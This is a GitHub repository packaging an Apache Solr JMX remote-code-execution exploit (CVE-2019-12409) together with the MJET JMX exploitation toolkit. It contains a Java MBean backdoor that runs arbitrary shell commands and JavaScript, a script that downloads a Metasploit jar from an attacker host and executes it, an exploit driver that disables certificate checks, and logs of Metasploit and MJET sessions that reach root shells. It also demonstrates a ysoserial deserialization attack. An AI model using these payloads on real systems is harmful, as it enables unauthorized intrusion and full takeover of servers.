├── 18983.jpg
├── shell.jpg
├── jconsole.jpg
├── CVE-2019-12409.gif
├── mjet
├── payloads
│ └── MogwaiLabsMJET-MLet.jar
├── scripts
│ ├── javaproperties.js
│ └── meterpreter.js
├── payloads_src
│ └── MogwaiLabsMJET
│ │ ├── src
│ │ └── main
│ │ │ └── java
│ │ │ └── de
│ │ │ └── mogwailabs
│ │ │ └── MogwaiLabsMJET
│ │ │ ├── MogwaiLabsPayloadMBean.java
│ │ │ └── MogwaiLabsPayload.java
│ │ └── pom.xml
├── LICENSE
├── README.md
└── mjet.py
└── README.md
/18983.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/CVE-2019-12409/HEAD/18983.jpg
--------------------------------------------------------------------------------
/shell.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/CVE-2019-12409/HEAD/shell.jpg
--------------------------------------------------------------------------------
/jconsole.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/CVE-2019-12409/HEAD/jconsole.jpg
--------------------------------------------------------------------------------
/CVE-2019-12409.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/CVE-2019-12409/HEAD/CVE-2019-12409.gif
--------------------------------------------------------------------------------
/mjet/payloads/MogwaiLabsMJET-MLet.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/CVE-2019-12409/HEAD/mjet/payloads/MogwaiLabsMJET-MLet.jar
--------------------------------------------------------------------------------
/mjet/scripts/javaproperties.js:
--------------------------------------------------------------------------------
1 | // define Java classes in JavaScript
2 | var System = Java.type("java.lang.System");
3 | var properties = System.getProperties();
4 |
5 | for each (var key in properties.keySet()) {
6 | print(key + "=" + properties[key]);
7 | }
8 |
--------------------------------------------------------------------------------
/mjet/payloads_src/MogwaiLabsMJET/src/main/java/de/mogwailabs/MogwaiLabsMJET/MogwaiLabsPayloadMBean.java:
--------------------------------------------------------------------------------
1 | package de.mogwailabs.MogwaiLabsMJET;
2 |
3 | public interface MogwaiLabsPayloadMBean {
4 |
5 | public abstract String runCMD(String passwd, String cmd);
6 | public abstract String runJS(String passwd, String js);
7 | public abstract boolean changePassword(String oldPass, String newPass);
8 |
9 | }
10 |
11 |
--------------------------------------------------------------------------------
/mjet/scripts/meterpreter.js:
--------------------------------------------------------------------------------
1 | // url of the jar file
2 | payloadURL = "http://x.x.x.x:8000/meterpreter.jar"
3 |
4 | // define Java classes in JavaScript
5 | var URL = Java.type("java.net.URL");
6 | var URLClassLoader = Java.type("java.net.URLClassLoader");
7 | var Class = Java.type("java.lang.Class");
8 | var Method = Java.type("java.lang.reflect.Method");
9 | var URLArray = Java.type("java.net.URL[]");
10 | var StringArray = Java.type("java.lang.String[]")
11 | var ObjectArray = Java.type("java.lang.Object[]")
12 |
13 | payloadURLs = new URLArray(1);
14 | payloadURLs[0] = new URL(payloadURL);
15 |
16 | paramsArray = new StringArray(0);
17 |
18 | objectArray = new ObjectArray(1);
19 | objectArray[0] = paramsArray;
20 |
21 | // Load payload jar and invoke main method of metasploit.Payload
22 | urlClassLoader = new URLClassLoader(payloadURLs, "".getClass().getClassLoader())
23 | payloadClass = Class.forName("metasploit.Payload", true, urlClassLoader);
24 | method = payloadClass.getDeclaredMethod("main", paramsArray.getClass())
25 |
26 | method.invoke(null, objectArray)
27 |
--------------------------------------------------------------------------------
/mjet/payloads_src/MogwaiLabsMJET/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | de.mogwailabs
6 | MogwaiLabsMJET
7 | MLet
8 | jar
9 |
10 | MogwaiLabsMJET
11 | http://maven.apache.org
12 |
13 |
14 | UTF-8
15 |
16 |
17 |
18 |
19 |
20 | org.apache.maven.plugins
21 | maven-compiler-plugin
22 | 3.0
23 |
24 | 1.6
25 | 1.6
26 |
27 |
28 |
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/mjet/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2017 Hans-Martin Münch
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/mjet/payloads_src/MogwaiLabsMJET/src/main/java/de/mogwailabs/MogwaiLabsMJET/MogwaiLabsPayload.java:
--------------------------------------------------------------------------------
1 | package de.mogwailabs.MogwaiLabsMJET;
2 |
3 | import javax.script.ScriptEngineManager;
4 | import java.io.InputStreamReader;
5 | import java.io.StringWriter;
6 |
7 | import javax.script.ScriptEngine;
8 |
9 | public class MogwaiLabsPayload implements MogwaiLabsPayloadMBean {
10 |
11 | private String password;
12 |
13 |
14 | public MogwaiLabsPayload() {
15 | password = "I+n33d+a+glass+0f+watta";
16 | }
17 |
18 | @Override
19 | public String runCMD(String passwd, String cmd) {
20 |
21 |
22 | if (passwd.equals(this.password) == false) {
23 | return "ERROR: Wrong password";
24 | }
25 |
26 | try {
27 |
28 |
29 | String[] full_cmd;
30 |
31 | if(System.getProperty("line.separator").equals("\n"))
32 | full_cmd = new String[]{"bash","-c",cmd};
33 | else // Assumes win
34 | full_cmd = new String[]{"cmd.exe","/c",cmd};
35 |
36 | java.lang.Runtime runtime = java.lang.Runtime.getRuntime();
37 | java.lang.Process p = runtime.exec(full_cmd);
38 |
39 | p.waitFor();
40 |
41 | java.io.InputStream is = p.getInputStream();
42 | java.io.BufferedReader reader = new java.io.BufferedReader(new InputStreamReader(is));
43 |
44 | java.lang.StringBuilder builder = new StringBuilder();
45 | String line = null;
46 | while ( (line = reader.readLine()) != null) {
47 | builder.append(line);
48 | builder.append(System.getProperty("line.separator"));
49 | }
50 | String result = builder.toString();
51 |
52 | is.close();
53 |
54 | return result;
55 |
56 | } catch(Exception ex) {
57 | return ex.getMessage();
58 | }
59 | }
60 |
61 | @Override
62 | public String runJS(String passwd, String js) {
63 |
64 | if (passwd.equals(this.password)) {
65 | try {
66 | StringWriter output =new StringWriter();
67 |
68 | ScriptEngineManager factory = new ScriptEngineManager();
69 | ScriptEngine engine = factory.getEngineByName("JavaScript");
70 | engine.getContext().setWriter(output);
71 | engine.eval(js);
72 | return output.toString();
73 | } catch(Exception ex) {
74 | return ex.getMessage();
75 | }
76 |
77 | }
78 | else {
79 | return "ERROR: Wrong password";
80 | }
81 |
82 |
83 |
84 | }
85 |
86 |
87 | @Override
88 | public boolean changePassword(String oldPass, String newPass) {
89 |
90 | if (oldPass.equals(this.password)) {
91 | this.password = newPass;
92 | return true;
93 | }
94 | return false;
95 | }
96 |
97 | }
98 |
99 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2019-12409 Apache Solr RCE
2 |
3 | 
4 |
5 | ## ENABLE_REMOTE_JMX_OPTS="true"
6 |
7 | ```
8 | root@kali:/opt/solr-8.1.1/bin# cat solr.in.sh |grep true
9 | # Set to true to activate the JMX RMI connector to allow remote JMX client applications
10 | ENABLE_REMOTE_JMX_OPTS="true"
11 | #SOLR_OPTS="$SOLR_OPTS -Dsolr.clustering.enabled=true"
12 | # Enables log rotation before starting Solr. Setting SOLR_LOG_PRESTART_ROTATION=true will let Solr take care of pre
13 | # Enables HTTPS. It is implictly true if you set SOLR_SSL_KEY_STORE. Use this config
14 | #SOLR_SSL_ENABLED=true
15 | #SOLR_SSL_CHECK_PEER_NAME=true
16 |
17 | ```
18 | 
19 |
20 | ## nmap scan info
21 | ```
22 | root@kali:/opt/mjet# nmap -p 18983 -Pn -T5 -n -sC -sV 10.10.20.166 -sC -sV
23 | Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-19 17:00 CST
24 | Nmap scan report for 10.10.20.166
25 | Host is up (0.00016s latency).
26 |
27 | PORT STATE SERVICE VERSION
28 | 18983/tcp open java-rmi Java RMI
29 | | rmi-dumpregistry:
30 | | jmxrmi
31 | | javax.management.remote.rmi.RMIServerImpl_Stub
32 | | @127.0.1.1:18983
33 | | extends
34 | | java.rmi.server.RemoteStub
35 | | extends
36 | |_ java.rmi.server.RemoteObject
37 |
38 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
39 | Nmap done: 1 IP address (1 host up) scanned in 12.95 seconds
40 | root@kali:/opt/mjet#
41 |
42 | ```
43 |
44 | ## 0x01 use msf
45 |
46 | ```
47 | msf5 exploit(multi/misc/java_jmx_server) > show options
48 |
49 | Module options (exploit/multi/misc/java_jmx_server):
50 |
51 | Name Current Setting Required Description
52 | ---- --------------- -------- -----------
53 | JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
54 | JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
55 | JMX_ROLE no The role to interact with an authenticated JMX endpoint
56 | RHOSTS 10.10.20.166 yes The target address range or CIDR identifier
57 | RPORT 18983 yes The target port (TCP)
58 | SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
59 | SRVPORT 8080 yes The local port to listen on.
60 | SSLCert no Path to a custom SSL certificate (default is randomly generated)
61 | URIPATH no The URI to use for this exploit (default is random)
62 |
63 |
64 | Payload options (java/meterpreter/reverse_tcp):
65 |
66 | Name Current Setting Required Description
67 | ---- --------------- -------- -----------
68 | LHOST 10.10.20.166 yes The listen address (an interface may be specified)
69 | LPORT 4444 yes The listen port
70 |
71 |
72 | Exploit target:
73 |
74 | Id Name
75 | -- ----
76 | 0 Generic (Java Payload)
77 |
78 |
79 | msf5 exploit(multi/misc/java_jmx_server) > run
80 |
81 | [*] Started reverse TCP handler on 10.10.20.166:4444
82 | [*] 10.10.20.166:18983 - Using URL: http://0.0.0.0:8080/2kDic5
83 | [*] 10.10.20.166:18983 - Local IP: http://10.10.20.166:8080/2kDic5
84 | [*] 10.10.20.166:18983 - Sending RMI Header...
85 | [*] 10.10.20.166:18983 - Discovering the JMXRMI endpoint...
86 | [+] 10.10.20.166:18983 - JMXRMI endpoint on 127.0.1.1:18983
87 | [*] 10.10.20.166:18983 - Proceeding with handshake...
88 | [+] 10.10.20.166:18983 - Handshake with JMX MBean server on 127.0.1.1:18983
89 | [*] 10.10.20.166:18983 - Loading payload...
90 | [*] 10.10.20.166:18983 - Replied to request for mlet
91 | [*] 10.10.20.166:18983 - Replied to request for payload JAR
92 | [*] 10.10.20.166:18983 - Executing payload...
93 | [*] Sending stage (53845 bytes) to 10.10.20.166
94 | [*] Meterpreter session 2 opened (10.10.20.166:4444 -> 10.10.20.166:48474) at 2019-11-19 16:39:49 +0800
95 |
96 | meterpreter > sysinfo
97 | Computer : kali
98 | OS : Linux 4.19.0-kali1-amd64 (amd64)
99 | Meterpreter : java/linux
100 | meterpreter > shell
101 | Process 1 created.
102 | Channel 1 created.
103 | id
104 | uid=0(root) gid=0(root) groups=0(root)
105 | pwd
106 | /opt/solr-8.1.1/server
107 | ls
108 | contexts
109 | etc
110 | lib
111 | logs
112 | modules
113 | README.txt
114 | resources
115 | scripts
116 | solr
117 | solr-webapp
118 | start.jar
119 | exit
120 | meterpreter > background
121 | [*] Backgrounding session 2...
122 | msf5 exploit(multi/misc/java_jmx_server) >
123 |
124 | ```
125 |
126 | ## 0x02 use mjet
127 |
128 | 
129 |
130 | #### usage:
131 |
132 | `java -jar jython-standalone-2.7.0.jar mjet.py 10.10.20.166 18983 install super_secret http://10.10.20.166:8000/ 8000`
133 |
134 | `java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 command super_secret "id&&pwd&&ls"`
135 |
136 | #### mlet
137 |
138 | ```
139 |
140 |
141 |
142 |
143 | ```
144 | #### attack example
145 |
146 | ```
147 | root@kali:/opt/mjet# java -jar jython-standalone-2.7.0.jar mjet.py 10.10.20.166 18983 install super_secret http://10.10.20.166:8000/ 8000
148 |
149 | MJET - MOGWAI LABS JMX Exploitation Toolkit
150 | ===========================================
151 | [+] Starting webserver at port 8000
152 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.10.20.166:18983/jmxrmi
153 | [+] Connected: rmi://127.0.0.1 18
154 | [+] Loaded javax.management.loading.MLet
155 | [+] Loading malicious MBean from http://10.10.20.166:8000/
156 | [+] Invoking: javax.management.loading.MLet.getMBeansFromURL
157 |
158 | 10.10.20.166 - - [19/Nov/2019 03:39:17] "GET / HTTP/1.1" 200 -
159 | [+] Object instance already existed, no need to install it a second time
160 | [+] Done
161 | root@kali:/opt/mjet# java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 command super_secret "id&&pwd&&ls"
162 |
163 | MJET - MOGWAI LABS JMX Exploitation Toolkit
164 | ===========================================
165 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:18983/jmxrmi
166 | [+] Connected: rmi://127.0.0.1 19
167 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
168 | [+] Executing command: id&&pwd&&ls
169 | uid=0(root) gid=0(root) groups=0(root)
170 | /opt/solr-8.1.1/server
171 | contexts
172 | etc
173 | lib
174 | logs
175 | modules
176 | README.txt
177 | resources
178 | scripts
179 | solr
180 | solr-webapp
181 | start.jar
182 |
183 |
184 | [+] Done
185 | root@kali:/opt/mjet#
186 |
187 | ```
188 | 
189 |
190 | ## 参考链接:
191 |
192 | https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/
193 |
194 | https://www.rapid7.com/db/modules/exploit/multi/misc/java_jmx_server
195 |
196 | https://github.com/mogwailabs/mjet
197 |
--------------------------------------------------------------------------------
/mjet/README.md:
--------------------------------------------------------------------------------
1 | # MJET by MOGWAI LABS
2 |
3 | MOGWAI LABS JMX Exploitation Toolkit
4 |
5 | MJET is a fork of [sjet](https://github.com/siberas/sjet/), which was developed by siberas but is no longer actively maintained. MJET is maintained by the MOGWAI LABS team which also provided most of the original sjet codebase.
6 |
7 |
8 | MJET allows an easy exploitation of insecure configured JMX services. Additional background
9 | information can be found [here](https://www.optiv.com/blog/exploiting-jmx-rmi) and [here](https://www.owasp.org/images/c/c1/JMX_-_Java_Management_Extensions_-_Hans-Martin_Muench.pdf).
10 |
11 | ## Prerequisites
12 |
13 | * [Jython 2.7](https://www.jython.org/)
14 | * [Ysoserial](https://github.com/frohoff/ysoserial) (for exploiting deserialisation vulnerabilities via JMX)
15 |
16 | ## Usage
17 |
18 | MJET implements a CLI interface (using [argparse](https://docs.python.org/3/library/argparse.html)):
19 |
20 | ```
21 | jython mjet.py targetHost targetPort password MODE (modeOptions)
22 | ```
23 | Where
24 |
25 | * **targetHost** - the target IP address
26 | * **targetPort** - the target port where JMX is running
27 | * **MODE** - the script mode
28 | * **modeOptions** - the options for the mode selected
29 |
30 | Optional arguments (if JMX authentication is enabled):
31 | * **--jmxrole** - the username
32 | * **--jmxpassword** - the password
33 |
34 | ### Modes and modeOptions
35 |
36 | * **install** - installs the payload in the current target
37 | * *password* - the password that should be set after successful installation
38 | * *payload_url* - full URL to load the payload
39 | * *payload_port* - port to load the payload
40 | * **uninstall** - uninstalls the payload from the current target
41 | * **changepw** - change the password on a already deployed payload
42 | * *password* - the password to access the installed MBean
43 | * *newpass* - The new password
44 | * **command** - runs the command *CMD* in the targetHost
45 | * *password* - the password to access the installed MBean
46 | * *CMD* - the command to run
47 | * **shell** - starts a simple shell in targetHost (with the limitations of java's Runtime.exec())
48 | * *password* - the password to access the installed MBean
49 | * **javascript** - runs a javascript file *FILENAME* in the targetHost
50 | * *password* - the password to access the installed MBean
51 | * *FILENAME* - the javascript to be run
52 | * **deserialize** - send a ysoserial payload to the target
53 | * *gadget* - gadget as provided by ysoserial, e.g., CommonsCollections6
54 | * *cmd* - command to be executed
55 | * **webserver** - just run the MLET web server
56 | * *payload_url* - full URL to load the payload
57 | * *payload_port* - port to load the payload
58 |
59 | ## Examples
60 |
61 |
62 | ### Installing the payload MBean on a vulnerable JMX service
63 |
64 | In the following example, the vulnerable JMX service runs on 10.165.188.23 port 2222, the attacker has
65 | the IP address 10.165.188.1. The JMX service will connect to the web service of the attacker to download
66 | the payload jar file. MJET will start the necessary web service on port 8000.
67 |
68 | After the successful installation of the MBean, the default password is changed to the password that was provided
69 | at the command line ("super_secret").
70 |
71 | ```
72 | h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
73 |
74 | MJET - MOGWAI LABS JMX Exploitation Toolkit
75 | ===========================================
76 | [+] Starting webserver at port 8000
77 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
78 | [+] Connected: rmi://10.165.188.1 1
79 | [+] Loaded javax.management.loading.MLet
80 | [+] Loading malicious MBean from http://10.165.188.1:8000
81 | [+] Invoking: javax.management.loading.MLet.getMBeansFromURL
82 | 10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
83 | [+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
84 | [+] Changing default password...
85 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
86 | [+] Successfully changed password
87 | [+] Done
88 | h0ng10@rocksteady ~/w/mjet>
89 | ```
90 |
91 | Installation with JMX credentials (also needs a weak configuration of the server):
92 | ```
93 | h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 super_secret install http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
94 | mJET - MOGWAI LABS JMX Exploitation Toolkit
95 | =======================================
96 | [+] Starting webserver at port 8000
97 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
98 | [+] Using credentials: JMXUSER / JMXPASSWORD
99 | [+] Connected: rmi://192.168.11.132 1
100 | [+] Loaded javax.management.loading.MLet
101 | [+] Loading malicious MBean from http://192.168.11.132:8000
102 | [+] Invoking: javax.management.loading.MLet.getMBeansFromURL
103 | 192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
104 | 192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
105 | [+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
106 | [+] Changing default password...
107 | [+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
108 | [+] Successfully changed password
109 |
110 | h0ng10@rocksteady:~/mjet$
111 | ```
112 |
113 | ### Running the command 'ls -la' in a Linux target:
114 |
115 | After the payload was installed, we can use it to execute OS commands on the target.
116 |
117 | ```
118 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"
119 |
120 | MJET - MOGWAI LABS JMX Exploitation Toolkit
121 | ===========================================
122 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
123 | [+] Connected: rmi://10.165.188.1 4
124 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
125 | [+] Executing command: ls -la
126 | total 20
127 | drwxr-xr-x 5 root root 4096 Apr 26 11:12 .
128 | drwxr-xr-x 33 root root 4096 Apr 10 13:54 ..
129 | lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8
130 | drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib
131 | lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8
132 | drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy
133 | drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
134 | lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8
135 |
136 |
137 | [+] Done
138 | h0ng10@rocksteady ~/w/mjet>
139 | ```
140 | ### Running in shell mode
141 |
142 | If you don't want to load Java for every command, you can use the "shell mode"
143 | to get a limited command shell.
144 |
145 | ```
146 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret
147 |
148 | MJET - MOGWAI LABS JMX Exploitation Toolkit
149 | ===========================================
150 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
151 | [+] Connected: rmi://10.165.188.1 5
152 | [+] Use command 'exit_shell' to exit the shell
153 | >>> ls -la
154 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
155 | [+] Executing command: ls -la
156 | total 20
157 | drwxr-xr-x 5 root root 4096 Apr 26 11:12 .
158 | drwxr-xr-x 33 root root 4096 Apr 10 13:54 ..
159 | lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8
160 | drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib
161 | lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8
162 | drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy
163 | drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
164 | lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8
165 |
166 |
167 | >>> pwd
168 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
169 | [+] Executing command: pwd
170 | /var/lib/tomcat8
171 |
172 |
173 | >>> exit_shell
174 | [+] Done
175 | h0ng10@rocksteady ~/w/mjet>
176 |
177 | ```
178 |
179 | ### Invoke a JavaScript payload on a target:
180 |
181 | The example script "javaproperties.js" displays the Java properties of the vulnerable
182 | service. It can be invoked as follows:
183 |
184 | ```
185 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js
186 |
187 | MJET - MOGWAI LABS JMX Exploitation Toolkit
188 | ===========================================
189 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
190 | [+] Connected: rmi://10.165.188.1 6
191 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
192 | [+] Executing script
193 | awt.toolkit=sun.awt.X11.XToolkit
194 | java.specification.version=11
195 | sun.cpu.isalist=
196 | sun.jnu.encoding=UTF-8
197 | java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
198 | com.sun.management.jmxremote.authenticate=false
199 | java.vm.vendor=Oracle Corporation
200 | sun.arch.data.model=64
201 | ...
202 |
203 |
204 | [+] Done
205 |
206 | ```
207 |
208 | ### Change the password
209 |
210 | Change the existing password ("super_secret") to "this-is-the-new-password":
211 |
212 | ```
213 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password
214 |
215 | MJET - MOGWAI LABS JMX Exploitation Toolkit
216 | ===========================================
217 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
218 | [+] Connected: rmi://10.165.188.1 7
219 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
220 | [+] Successfully changed password
221 | [+] Done
222 |
223 | ```
224 |
225 | ### Uninstall the payload MBean from the target
226 |
227 |
228 | Uninstall the payload MBean 'MogwaiLabs' from the target:
229 |
230 | ```
231 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall
232 |
233 | MJET - MOGWAI LABS JMX Exploitation Toolkit
234 | ===========================================
235 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
236 | [+] Connected: rmi://10.165.188.1 8
237 | [+] MBean correctly uninstalled
238 | [+] Done
239 |
240 | ```
241 |
242 | ### Exploit Java deserialization with ysoserial
243 |
244 | Exploit Java deserialization with ysoserial on target:
245 | The file ysoserial.jar must be present in the MJET directory.
246 | You can select any ysoserial payload as you like, similar to the original ysoserial calls.
247 |
248 | This attack even works if JMX authentication is enabled and the user has "readonly" permissions.
249 |
250 | ```
251 | h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"
252 |
253 | MJET - MOGWAI LABS JMX Exploitation Toolkit
254 | ===========================================
255 | [+] Added ysoserial API capacities
256 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
257 | [+] Using credentials: user / userpassword
258 | [+] Connected: rmi://10.165.188.1 user 21
259 | [+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
260 | [+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
261 | [+] Got an access denied exception - this is expected
262 |
263 | [+] Done
264 |
265 | ```
266 |
267 | ### Webserver only mode
268 |
269 | It is also possible to just run the web server that provides the MLET code and the JAR file with the payload MBean
270 | ```
271 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000
272 |
273 | MJET - MOGWAI LABS JMX Exploitation Toolkit
274 | ===========================================
275 | [+] Starting webserver at port 8000
276 | [+] Press Enter to stop the service
277 |
278 | ```
279 |
280 | ## Contributing
281 |
282 | Feel free to contribute.
283 |
284 | ## Authors
285 |
286 | * **Hans-Martin Münch** - *Initial idea and work* - [h0ng10](https://twitter.com/h0ng10)
287 | * **Patricio Reller** - *CLI and extra options* - [preller](https://github.com/preller)
288 | * **Ben Campbell** - *Several improvements* - [Meatballs1](https://github.com/Meatballs1)
289 | * **Arnim Rupp** - *Authentication support*
290 | * **Sebastian Kindler** - *Deserialization support*
291 |
292 | See also the list of [contributors](https://github.com/mogwailabs/sjet/graphs/contributors) who participated in this project.
293 |
294 | ## License
295 |
296 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
297 |
--------------------------------------------------------------------------------
/mjet/mjet.py:
--------------------------------------------------------------------------------
1 | # jmx stuff
2 | from javax.management.remote import JMXServiceURL
3 | from javax.management.remote import JMXConnector
4 | from javax.management.remote import JMXConnectorFactory
5 | from javax.management import ObjectName
6 | from java.lang import String
7 | from java.lang import Object
8 | from jarray import array
9 | from java.io import IOException
10 | from javax.net.ssl import TrustManager, X509TrustManager
11 | from javax.net.ssl import SSLContext
12 | # BaseHTTPServer needed to serve mlets
13 | from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
14 | from threading import Thread
15 |
16 | import sys
17 | import os
18 | import time
19 | import jarray
20 | from jarray import array
21 |
22 |
23 |
24 | # Extra
25 | import argparse
26 | import base64
27 | import random
28 | import string
29 |
30 |
31 | authorSignature = 'MJET - MOGWAI LABS JMX Exploitation Toolkit\n'
32 | authorSignature += '==========================================='
33 |
34 | class TrustAllX509TrustManager(X509TrustManager):
35 | def checkClientTrusted(self, chain, auth):
36 | pass
37 |
38 | def checkServerTrusted(self,chain,auth):
39 | pass
40 |
41 | def getAcceptedIssuers(self):
42 | return None
43 |
44 |
45 | ### AUX ###
46 | def connectToJMX(args):
47 | # Basic JMX connection, always required
48 | trust_managers = array([TrustAllX509TrustManager()], TrustManager)
49 |
50 | sc = SSLContext.getInstance("SSL")
51 | sc.init(None, trust_managers, None)
52 | SSLContext.setDefault(sc)
53 | jmx_url = JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args.targetHost + ":" + args.targetPort + "/jmxrmi")
54 |
55 | print "[+] Connecting to: " + str(jmx_url)
56 | try:
57 | # for passing credentials for password
58 | if args.jmxpassword and args.jmxrole:
59 | print ("[+] Using credentials: " + str(args.jmxrole) + " / " + str(args.jmxpassword))
60 | credentials = array([args.jmxrole,args.jmxpassword],String)
61 | environment = {JMXConnector.CREDENTIALS:credentials}
62 | jmx_connector = JMXConnectorFactory.connect(jmx_url, environment)
63 | else:
64 | jmx_connector = JMXConnectorFactory.connect(jmx_url)
65 |
66 | print "[+] Connected: " + str(jmx_connector.getConnectionId())
67 | bean_server = jmx_connector.getMBeanServerConnection()
68 | return bean_server
69 | except:
70 | print "[-] Error: Can't connect to remote service"
71 |
72 | if "Authentication failed! Invalid username or password" in str(sys.exc_info()[1]):
73 | print "[-] Authentication failed! Invalid username or password"
74 |
75 | sys.exit(-1)
76 | ##########
77 |
78 | ### WEBSERVER MODE ###
79 | def webserverMode(args):
80 | startWebserver(args)
81 | raw_input("[+] Press Enter to stop the service\n")
82 |
83 | ### /WEBSERVER MODE ###
84 |
85 | ### INSTALL MODE ###
86 |
87 | def installMode(args):
88 | startWebserver(args)
89 | bean_server = connectToJMX(args)
90 | installMBean(args, bean_server)
91 | print "[+] Done"
92 |
93 | def installMBean(args, bean_server):
94 | # Installation, load javax.management.loading.MLet to install additional MBeans
95 | # If loading fails, the Mlet is already loaded...
96 | try:
97 | mlet_bean = bean_server.createMBean("javax.management.loading.MLet", None)
98 | except:
99 | # MLet Bean can't be created because it already exists
100 | mlet_bean = bean_server.getObjectInstance(ObjectName("DefaultDomain:type=MLet"))
101 |
102 | print "[+] Loaded " + str(mlet_bean.getClassName())
103 |
104 |
